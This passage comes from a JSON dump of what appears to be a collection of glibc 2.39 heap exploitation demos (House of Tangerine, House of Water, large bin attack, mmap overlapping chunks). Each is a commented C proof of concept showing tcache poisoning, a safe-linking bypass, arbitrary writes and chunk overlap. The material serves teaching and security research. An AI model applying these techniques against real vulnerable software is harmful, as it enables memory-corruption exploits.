    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10L\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// size used for poisoned tcache\n#define CHUNK_SIZE_1 0x40\n#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)\n\n// could also be split into multiple lower size allocations\n#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)\n#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)\n\n/**\n * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64)\n *\n * House of Tangerine is the modernized version of House of Orange\n * and is able to corrupt heap without needing to call free() directly\n *\n * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer\n * by abusing the tcache freelist. (requires heap leak on and after 2.32)\n *\n * this version expects a positive and negative OOB (e.g. BOF)\n * or a positive OOB in editing a previous chunk\n *\n * This version requires 5 (6*) malloc calls and 3 OOB\n *\n *  *to make the PoC more reliable we need to malloc and probe the current top chunk size,\n *  this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead\n *\n * Special Thanks to pepsipu for creating the challenge \"High Frequency Troubles\"\n * from Pico CTF 2024 that inspired this exploitation technique\n */\nint main() {\n  size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;\n  char win[0x10] = \"WIN\\0WIN\\0WIN\\0\\x06\\xfe\\x1b\\xe2\";\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1);\n  assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3);\n\n  puts(\"Constants:\");\n  printf(\"chunk header = 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align = 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align = 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size = 0x%lx\\n\", FENCEPOST);\n  printf(\"size_1 = 0x%lx\\n\", SIZE_1);\n\n  printf(\"target tcache top size = 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);\n\n  // target is malloc aligned 0x10\n  target = ((size_t) win + (MALLOC_ALIGN - 1)) & MALLOC_MASK;\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  heap_ptr = malloc(PROBE);\n  top_size = heap_ptr[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // calculate size_2\n\n  size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1;\n  size_2 &= PAGE_MASK;\n  size_2 &= MALLOC_MASK;\n\n\n  printf(\"size_2 = 0x%lx\\n\", size_2);\n\n  // first allocation \n  heap_ptr = malloc(size_2);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"new first top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  /*\n   * malloc (larger than available_top_size), to free previous top_chunk using _int_free.\n   * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged\n   * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n   * we prevent the top_chunk from being merged by lowering its size\n   * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged\n   */\n\n  printf(\"size_3 = 0x%lx\\n\", SIZE_3);\n  heap_ptr = malloc(SIZE_3);\n\n  top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];\n  printf(\"current top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  new_top_size = top_size & PAGE_MASK;\n  heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;\n  printf(\"new top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  printf(\"freed top_chunk size = 0x%lx\\n\", freed_top_size);\n\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  // this will be our vuln_tcache for tcache poisoning\n  vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];\n\n  printf(\"tcache next ptr: 0x%lx\\n\", vuln_tcache);\n\n  // free the previous top_chunk\n  heap_ptr = malloc(SIZE_3);\n\n  // corrupt next ptr into pointing to target\n  // use a heap leak to bypass safe linking (GLIBC >= 2.32)\n  heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);\n\n  // allocate first tcache (corrupt next tcache bin)\n  heap_ptr = malloc(SIZE_1);\n\n  // get arbitrary ptr for reads or writes\n  heap_ptr = malloc(SIZE_1);\n\n  // proof that heap_ptr now points to the same string as target\n  assert((size_t) heap_ptr == target);\n  puts((char *) heap_ptr);\n}\n"
  },
  {
    "path": "glibc_2.39/house_of_water.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/* \n * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache\n * metadata control primitive.\n *\n * Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.\n * There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.\n * An article explaining this newer variant and its differences from the original House of Water can be found at:\n * https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md\n *\n * The technique starts by allocating the 'relative chunk' immediately after tcache metadata,\n * sharing the same ASLR-partially-controlled second nibble (which is 2) as the target fake chunk location.\n * \n * Then it crafts fake tcache entries in the 0x320 & 0x330 bins using two other controlled chunks matching the 'relative chunk' size,\n * then frees all three chunks into the unsorted bin while keeping the 'relative chunk' centered.\n * A large allocation sorts them into the same small bin linked list.\n * \n * UAF overwrites the LSB of the 'first chunk' fd and the 'end chunk' bk pointers with 0x00, redirecting both to the fake tcache chunk on the tcache.\n * Finally, it drains the tcache; the next allocation returns the 'first chunk' from the small bin and moves remaining chunks into tcache,\n * then the second allocation returns the 'end chunk', and the final allocation returns the fake chunk for `tcache_perthread_struct` control.\n *\n * Technique / house by @udp_ctf - Water Paddler / Blue Water \n * Small-bin variant modified by @4f3rg4n - CyberEGGs.\n */\n\n\n\nvoid dump_memory(void *addr, unsigned long count) {\n\tfor (unsigned int i = 0; i < count*16; i += 16) {\n\t\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx\\n\", (unsigned long)(addr+i), *(long *)(addr+i), *(long *)(addr+i+0x8));\n\t}\t\n}\n\nint main(void) {\n\t// Dummy variable\n\tvoid *_ = NULL;\n\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 1           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Create the unsorted bins linked list, used for hijacking at a later time\n\n\tputs(\"Now, allocate three 0x90 chunks with guard chunks in between. This prevents\");\n\tputs(\"chunk-consolidation and sets our target for the house of water attack.\");\n\tputs(\"\\t- chunks:\");\n\n\tvoid *relative_chunk = malloc(0x88);\n\tprintf(\"\\t\\t* relative_chunk\\t@ %p\\n\", relative_chunk);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_start = malloc(0x88);\n\tprintf(\"\\t\\t* small_start\\t@ %p\\n\", small_start);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_end = malloc(0x88);\n\tprintf(\"\\t\\t* small_end\\t@ %p\\n\", small_end);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\t\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 2           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 2: Fill up t-cache for 0x90 size class\n\t\n\t// This is just to make a pointer to the t-cache metadata for later.\n\tvoid *metadata = (void *)((long)(relative_chunk) & ~(0xfff));\n\n\t// Make allocations to free such that we can exhaust the 0x90 t-cache\n\tputs(\"Allocate 7 0x88 chunks needed to fill out the 0x90 t-cache at a later time\");\n\tvoid *x[7];\n\tfor (int i = 0; i < 7; i++) {\n\t\tx[i] = malloc(0x88);\n\t}\n\n\tputs(\"\");\n\n\t// Free t-cache entries\n\tputs(\"Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.\");\n\tputs(\"By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin\");\n\tputs(\"instead of the t-cache or small-bins.\");\n\tfor (int i = 0; i < 7; i++) {\n\t\tfree(x[i]);\n\t}\n\n\t\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 3           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.\n\t// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!\n\t\t\n\tputs(\"Here comes the trickiest part!\\n\");\n\t\n\tputs(\"We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\\n\");\n\tputs(\"pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.\");\n\tputs(\"We want it such that it points to the chunk header of our small bin entries,\\n\");\n\tputs(\"and not at the chunk itself which is common for t-cache.\\n\");\n\n\tputs(\"Using a technique like house of botcake or a stronger arb-free primitive, free a\");\n\tputs(\"chunk such that it overlaps with the header of unsorted_start and unsorted_end.\");\n\tputs(\"\");\n\n\tputs(\"It should look like the following:\");\n\tputs(\"\");\n\t\n\tputs(\"small_start:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x330][0/1], unsortedbin[all][0]\\n\", (unsigned long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8));\n\tdump_memory(small_start, 2);\n\tputs(\"\");\n\n\tputs(\"small_end:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x320][0/1], unsortedbin[all][2]\\n\", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));\n\tdump_memory(small_end, 2);\n\n\tputs(\"\\n\");\n\tputs(\"If you want to see a blind example using only double free, see the following chal: \");\n\tputs(\"https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki\");\n\tputs(\"\");\n\tputs(\"Note: See this if you want to see the same example but with the modified House of Water version: \");\n\tputs(\"https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md\");\n\tputs(\"\\n\");\n\n\tputs(\"For the sake of simplicity, let's just simulate an arbitrary free primitive.\");\n\tputs(\"\\n\");\n\t\n\t\n\tputs(\"--------------------\");\n\tputs(\"|      PART 1      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 1:\n\tputs(\"Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache.\");\n\tprintf(\"\\t*%p-0x18 = 0x331\\n\", small_start);\n\t*(long*)(small_start-0x18) = 0x331;\n\tputs(\"\");\n\n\tputs(\"This creates a 0x331 entry just above small_start, which looks like the following:\");\n\tdump_memory(small_start-0x20, 3);\n\tputs(\"\");\n\n\tprintf(\"Free the faked 0x331 chunk @ %p\\n\", small_start-0x10);\n\tfree(small_start-0x10); // Create a fake FWD\n\tputs(\"\");\n\t\n\tputs(\"Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to\");\n\tputs(\"restore the original header of the small_start chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_start);\n\t*(long*)(small_start-0x8) = 0x91;\n\tputs(\"\");\n\n\tputs(\"Now, let's do the same for small_end except using a 0x321 faked chunk.\");\n\tputs(\"\");\n\n\n\tputs(\"--------------------\");\n\tputs(\"|      PART 2      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 2:\n\tputs(\"Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:\");\n\tprintf(\"\\t*%p-0x18 = 0x321\\n\", small_end);\n\t*(long*)(small_end-0x18) = 0x321;\n\tputs(\"\");\n\t\n\tputs(\"This creates a 0x321 just above small_end, which looks like the following:\");\n\tdump_memory(small_end-0x20, 3);\n\tputs(\"\");\n\t\n\tprintf(\"Free the faked 0x321 chunk @ %p\\n\", small_end-0x10);\n\tfree(small_end-0x10); // Create a fake BCK\n\tputs(\"\");\n\t\n\tputs(\"restore the original header of the small_end chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_end);\n\t*(long*)(small_end-0x8) = 0x91;\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 4           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,\n\t// then allocate large chunk that will sort the unsorted bin into small bins.\n\n\tputs(\"Now, let's free the the chunks into the unsorted bin.\");\n\t\n\tputs(\"\\t> free(small_end);\");\n\tfree(small_end);\n\t\n\tputs(\"\\t> free(relative_chunk);\");\n\tfree(relative_chunk);\n\t\n\tputs(\"\\t> free(small_start);\");\n\tfree(small_start);\n\t\n\tputs(\"\\n\");\n\n\tputs(\"Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.\");\n\t_ = malloc(0x700);\n\n\tputs(\"\");\n\n\t// Show the setup as is\t\n\t\n\tputs(\"At this point, our heap looks something like this:\");\n\t\n\tprintf(\"\\t- Small bin:\\n\");\n\tputs(\"\\t\\tsmall_start <--> relative_chunk <--> small_end\");\n\tprintf(\"\\t\\t%p <--> %p <--> %p\\n\", small_start-0x10, relative_chunk-0x10, small_end-0x10);\n\t\n\tprintf(\"\\t- 0x320 t-cache:\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x390));\n\tprintf(\"\\t- 0x330 t-cache\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x398));\n\tputs(\"\");\n\n\tputs(\"The fake chunk in the t-cache will look like the following:\");\n\tdump_memory(metadata+0x370, 4);\n\tputs(\"\");\n\n\tputs(\"We can now observe that the 0x330 t-cache points to small_start and 0x320 t-cache points to \");\n\tputs(\"small_end, which is what we need to fake a small-bin entry and hijack relative_chunk.\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 5           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 5: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk\n\tputs(\"Finally, all there is left to do is simply overwrite the LSB of small_start FWD-\");\n\tputs(\"and BCK pointer for small_end to point to the faked t-cache metadata chunk.\");\n\tputs(\"\");\n\n\t// Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;\n\t// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.\n\n\t/* VULNERABILITY */\n\tprintf(\"\\t- small_start:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_start, metadata+0x200);\n\t*(unsigned long *)small_start = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\n\tprintf(\"\\t- small_end:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_end, metadata+0x200);\n\t*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\t/* VULNERABILITY */\n\n\tputs(\"At this point, the small bin will look like the following:\");\n\tputs(\"\");\n\n\tputs(\"\\t- small bin:\");\n\tprintf(\"\\t\\t small_start <--> metadata chunk <--> small_end\\n\");\n\tprintf(\"\\t\\t %p\\t     %p      %p\\n\", small_start, metadata+0x200, small_end);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 6           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 6: allocate to win\n\tputs(\"Now, simply just allocate our fake chunk which is placed inside the small bin\");\n\tputs(\"But first, we need to clean the t-cache for 0x90 size class to force malloc to\");\n\tputs(\"service the allocation from the small bin.\");\n\n\tfor(int i = 7; i > 0; i--)\n\t\t_ = malloc(0x88);\n\n\t// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin\n\t_ = malloc(0x88);\n\t_ = malloc(0x88);\n\n\n\t// Next allocation *could* be our faked chunk!\n\tvoid *meta_chunk = malloc(0x88);\n\n\tprintf(\"\\t\\tNew chunk\\t @ %p\\n\", meta_chunk);\n\tprintf(\"\\t\\tt-cache metadata @ %p\\n\", metadata);\n\tassert(meta_chunk == (metadata+0x210));\n\n\tputs(\"\");\n}\n"
  },
  {
    "path": "glibc_2.39/large_bin_attack.c",
    "content": "#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\n/*\n\nA revisit to large bin attack for after glibc2.30\n\nRelevant code snippet :\n\n\tif ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){\n\t\tfwd = bck;\n\t\tbck = bck->bk;\n\t\tvictim->fd_nextsize = fwd->fd;\n\t\tvictim->bk_nextsize = fwd->fd->bk_nextsize;\n\t\tfwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;\n\t}\n\n\n*/\n\nint main(){\n  /*Disable IO buffering to prevent stream from interfering with heap*/\n  setvbuf(stdin,NULL,_IONBF,0);\n  setvbuf(stdout,NULL,_IONBF,0);\n  setvbuf(stderr,NULL,_IONBF,0);\n\n  printf(\"\\n\\n\");\n  printf(\"Since glibc2.30, two new checks have been enforced on large bin chunk insertion\\n\\n\");\n  printf(\"Check 1 : \\n\");\n  printf(\">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (nextsize)\\\");\\n\");\n  printf(\"Check 2 : \\n\");\n  printf(\">    if (bck->fd != fwd)\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (bk)\\\");\\n\\n\");\n  printf(\"This prevents the traditional large bin attack\\n\");\n  printf(\"However, there is still one possible path to trigger large bin attack. The PoC is shown below : \\n\\n\");\n  \n  printf(\"====================================================================\\n\\n\");\n\n  size_t target = 0;\n  printf(\"Here is the target we want to overwrite (%p) : %lu\\n\\n\",&target,target);\n  size_t *p1 = malloc(0x428);\n  printf(\"First, we allocate a large chunk [p1] (%p)\\n\",p1-2);\n  size_t *g1 = malloc(0x18);\n  printf(\"And another chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  size_t *p2 = malloc(0x418);\n  printf(\"We also allocate a second large chunk [p2]  (%p).\\n\",p2-2);\n  printf(\"This chunk should be smaller than [p1] and belong to the same large bin.\\n\");\n  size_t *g2 = malloc(0x18);\n  printf(\"Once again, allocate a guard chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  free(p1);\n  printf(\"Free the larger of the two --> [p1] (%p)\\n\",p1-2);\n  size_t *g3 = malloc(0x438);\n  printf(\"Allocate a chunk larger than [p1] to insert [p1] into large bin\\n\");\n\n  printf(\"\\n\");\n\n  free(p2);\n  printf(\"Free the smaller of the two --> [p2] (%p)\\n\",p2-2);\n  printf(\"At this point, we have one chunk in large bin [p1] (%p),\\n\",p1-2);\n  printf(\"               and one chunk in unsorted bin [p2] (%p)\\n\",p2-2);\n\n  printf(\"\\n\");\n\n  p1[3] = (size_t)((&target)-4);\n  printf(\"Now modify the p1->bk_nextsize to [target-0x20] (%p)\\n\",(&target)-4);\n\n  printf(\"\\n\");\n\n  size_t *g4 = malloc(0x438);\n  printf(\"Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\\n\", p2-2, p2-2);\n  printf(\"Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\\n\");\n  printf(\"  the modified p1->bk_nextsize does not trigger any error\\n\");\n  printf(\"Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\\n\", p2-2, p1-2, p2-2);\n\n  printf(\"\\n\");\n\n  printf(\"In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\\n\", p2-2, (void *)target);\n  printf(\"Target (%p) : %p\\n\",&target,(size_t*)target);\n\n  printf(\"\\n\");\n  printf(\"====================================================================\\n\\n\");\n\n  assert((size_t)(p2-2) == target);\n\n  return 0;\n}\n"
  },
  {
    "path": "glibc_2.39/mmap_overlapping_chunks.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions of GLibC\nCompile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`\n\nPOC written by POC written by Maxwell Dulin (Strikeout) \n*/\nint main()\n{\n\t/*\n\tA primer on Mmap chunks in GLibC\n\t==================================\n\tIn GLibC, there is a point where an allocation is so large that malloc\n\tdecides that we need a seperate section of memory for it, instead \n\tof allocating it on the normal heap. This is determined by the mmap_threshold var.\n\tInstead of the normal logic for getting a chunk, the system call *Mmap* is \n\tused. This allocates a section of virtual memory and gives it back to the user. \n\n\tSimilarly, the freeing process is going to be different. Instead \n\tof a free chunk being given back to a bin or to the rest of the heap,\n\tanother syscall is used: *Munmap*. This takes in a pointer of a previously \n\tallocated Mmap chunk and releases it back to the kernel. \n\n\tMmap chunks have special bit set on the size metadata: the second bit. If this \n\tbit is set, then the chunk was allocated as an Mmap chunk. \n\n\tMmap chunks have a prev_size and a size. The *size* represents the current \n\tsize of the chunk. The *prev_size* of a chunk represents the left over space\n\tfrom the size of the Mmap chunk (not the chunks directly belows size). \n\tHowever, the fd and bk pointers are not used, as Mmap chunks do not go back \n\tinto bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of \n\tthe chunk must be page-aligned.\n\n\tThe POC below is essentially an overlapping chunk attack but on mmap chunks. \n\tThis is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. \n\tThe main difference is that mmapped chunks have special properties and are \n\thandled in different ways, creating different attack scenarios than normal \n\toverlapping chunk attacks. There are other things that can be done, \n\tsuch as munmapping system libraries, the heap itself and other things.\n\tThis is meant to be a simple proof of concept to demonstrate the general \n\tway to perform an attack on an mmap chunk.\n\n\tFor more information on mmap chunks in GLibC, read this post: \n\thttp://tukan.farm/2016/07/27/munmap-madness/\n\t*/\n\n\tint* ptr1 = malloc(0x10); \n\n\tprintf(\"This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\\n\");\n\tprintf(\"Extremely large chunks are special because they are allocated in their own mmaped section\\n\");\n\tprintf(\"of memory, instead of being put onto the normal heap.\\n\");\n\tputs(\"=======================================================\\n\");\n\tprintf(\"Allocating three extremely large heap chunks of size 0x100000 \\n\\n\");\n\t\t\n\tlong long* top_ptr = malloc(0x100000);\n\tprintf(\"The first mmap chunk goes directly above LibC: %p\\n\",top_ptr);\n\n\t// After this, all chunks are allocated downwards in memory towards the heap.\n\tlong long* mmap_chunk_2 = malloc(0x100000);\n\tprintf(\"The second mmap chunk goes below LibC: %p\\n\", mmap_chunk_2);\n\n\tlong long* mmap_chunk_3 = malloc(0x100000);\n\tprintf(\"The third mmap chunk goes below the second mmap chunk: %p\\n\", mmap_chunk_3);\n\n\tprintf(\"\\nCurrent System Memory Layout \\n\" \\\n\"================================================\\n\" \\\n\"running program\\n\" \\\n\"heap\\n\" \\\n\"....\\n\" \\\n\"third mmap chunk\\n\" \\\n\"second mmap chunk\\n\" \\\n\"LibC\\n\" \\\n\"....\\n\" \\\n\"ld\\n\" \\\n\"first mmap chunk\\n\"\n\"===============================================\\n\\n\" \\\n);\n\t\n\tprintf(\"Prev Size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-2]);\n\tprintf(\"Size of third mmap chunk: 0x%llx\\n\\n\", mmap_chunk_3[-1]);\n\n\tprintf(\"Change the size of the third mmap chunk to overlap with the second mmap chunk\\n\");\t\n\tprintf(\"This will cause both chunks to be Munmapped and given back to the system\\n\");\n\tprintf(\"This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\\n\");\n\n\t// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.\n\t// Additionally, this same attack can be used with the prev_size instead of the size.\n\tmmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;\n\tprintf(\"New size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-1]);\n\tprintf(\"Free the third mmap chunk, which munmaps the second and third chunks\\n\\n\");\n\n\t/*\n\tThis next call to free is actually just going to call munmap on the pointer we are passing it.\n\tThe source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845\n\n\tWith normal frees the data is still writable and readable (which creates a use after free on \n\tthe chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this\n\tdata is read or written to, the program crashes.\n\t\n\tBecause of this added restriction, the main goal is to get the memory back from the system\n\tto have two pointers assigned to the same location.\n\t*/\n\t// Munmaps both the second and third pointers\n\tfree(mmap_chunk_3); \n\n\t/* \n\tWould crash, if on the following:\n\tmmap_chunk_2[0] = 0xdeadbeef;\n\tThis is because the memory would not be allocated to the current program.\n\t*/\n\n\t/*\n\tAllocate a very large chunk with malloc. This needs to be larger than \n\tthe previously freed chunk because the mmapthreshold has increased to 0x202000.\n\tIf the allocation is not larger than the size of the largest freed mmap \n\tchunk then the allocation will happen in the normal section of heap memory.\n\t*/\t\n\tprintf(\"Get a very large chunk from malloc to get mmapped chunk\\n\");\n\tprintf(\"This should overlap over the previously munmapped/freed chunks\\n\");\n\tlong long* overlapping_chunk = malloc(0x300000);\n\tprintf(\"Overlapped chunk Ptr: %p\\n\", overlapping_chunk);\n\tprintf(\"Overlapped chunk Ptr Size: 0x%llx\\n\", overlapping_chunk[-1]);\n\n\t// Gets the distance between the two pointers.\n\tint distance = mmap_chunk_2 - overlapping_chunk;\n\tprintf(\"Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\\n\", distance);\n\tprintf(\"Value of index 0 of mmap chunk 2 prior to write: %llx\\n\", mmap_chunk_2[0]);\n\t\n\t// Set the value of the overlapped chunk.\n\tprintf(\"Setting the value of the overlapped chunk\\n\");\n\toverlapping_chunk[distance] = 0x1122334455667788;\n\n\t// Show that the pointer has been written to.\n\tprintf(\"Second chunk value (after write): 0x%llx\\n\", mmap_chunk_2[0]);\n\tprintf(\"Overlapped chunk value: 0x%llx\\n\\n\", overlapping_chunk[distance]);\n\tprintf(\"Boom! The new chunk has been overlapped with a previous mmaped chunk\\n\");\n\tassert(mmap_chunk_2[0] == overlapping_chunk[distance]);\n\n\t_exit(0); // exit early just in case we corrupted some libraries\n}\n"
  },
  {
    "path": "glibc_2.39/overlapping_chunks.c",
